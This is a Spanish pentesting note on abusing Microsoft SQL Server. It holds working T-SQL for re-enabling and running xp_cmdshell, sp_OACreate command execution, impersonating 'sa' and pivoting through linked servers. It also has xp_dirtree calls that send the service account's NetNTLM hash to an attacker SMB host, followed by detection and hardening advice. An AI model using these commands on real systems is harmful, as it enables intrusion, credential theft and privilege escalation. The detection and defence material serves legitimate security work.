Command execution in MSSQL (xp_cmdshell)

Microsoft SQL Server (puerto 1433) incluye el procedimiento extendido xp_cmdshell, que ejecuta comandos del sistema operativo desde una consulta SQL. Está deshabilitado por defecto, pero si nos autenticamos con un usuario que tenga permisos suficientes (sysadmin, o miembros con CONTROL), podemos reactivarlo y obtener ejecución de comandos en el host:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

El detalle clave es la identidad bajo la que ejecuta. xp_cmdshell no corre como el usuario SQL con el que nos conectamos, sino como la cuenta de servicio de SQL Server (a menudo una cuenta de dominio del tipo svc_mssql, o NT Service\MSSQLSERVER). Esa cuenta de servicio suele conservar SeImpersonatePrivilege, lo que encadena directamente con una potato para llegar a SYSTEM (SeImpersonate y potatoes).

Cómo se llega a la conexión autenticada varía: credenciales en claro, un Silver Ticket forjado para el SPN MSSQL/..., o reutilización de credenciales. Con impacket:

impacket-mssqlclient <domain>/<user>:<pass>@<ip>
impacket-mssqlclient -k host.dominio          # autenticación Kerberos (ticket en KRB5CCNAME)

Si el 1433 solo escucha en local, se reenvía con un túnel (chisel, SSH) antes de conectar.

Capturar el hash NetNTLM (sin ser sysadmin)

Aunque no podamos ejecutar comandos, cualquier login con permiso de conexión puede forzar a SQL Server a autenticarse contra un SMB nuestro: con Responder a la escucha se captura el NetNTLMv2 de la cuenta de servicio para crackearlo o retransmitirlo:

EXEC master..xp_dirtree '\\<lhost>\share', 1, 1;
EXEC master..xp_subdirs '\\<lhost>\share';
EXEC master..xp_fileexist '\\<lhost>\share\x';

Alternativas a xp_cmdshell

Si xp_cmdshell está bloqueado pero seguimos siendo sysadmin, la ejecución sale por OLE Automation o por el CLR:

-- OLE Automation (sp_OACreate)
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd /c whoami > C:\out.txt';

Saltar a otra identidad o instancia

Con impersonate sobre otro login, o con servidores enlazados mal configurados, se salta a más privilegio o a otra instancia (donde quizá sí haya xp_cmdshell):

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id WHERE a.permission_name='IMPERSONATE';
EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;      -- asumir la identidad de sa
EXEC sp_linkedservers;                              -- listar servidores enlazados
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';') AT [LINKED\SRV];

Matiz. Reactivar xp_cmdshell requiere permisos elevados en la instancia; un usuario SQL de bajo privilegio no podrá. Las alternativas (sp_OACreate, CLR) también necesitan sysadmin, pero la captura de hash con xp_dirtree funciona con un permiso mínimo de conexión.

Cómo detectarlo. Dos capas. En SQL Server, con la auditoría de servidor activa, el sp_configure que reactiva xp_cmdshell genera un evento de Audit Change (traza Audit Server Configuration), y una regla sólida es alertar de cualquier cambio de xp_cmdshell a 1, casi siempre malicioso. En el SO, cada comando lanzado por el procedimiento aparece como un Event ID 4688 (creación de proceso) cuyo padre es sqlservr.exe: un cmd.exe/whoami/powershell colgando de SQL Server no es actividad normal de una base de datos y es la firma más fiable. Si de ahí encadena una potato, el hijo pasa a SYSTEM (ver SeImpersonate y potatoes). El SQL en sí, si hay auditoría de sentencias, muestra la llamada EXEC xp_cmdshell.

Defensa. Ejecutar SQL Server con una cuenta de servicio de mínimo privilegio (sin SeImpersonate innecesario), no conceder sysadmin a aplicaciones, y mantener xp_cmdshell deshabilitado y auditado. Relacionado con el RCE en PostgreSQL y el command injection.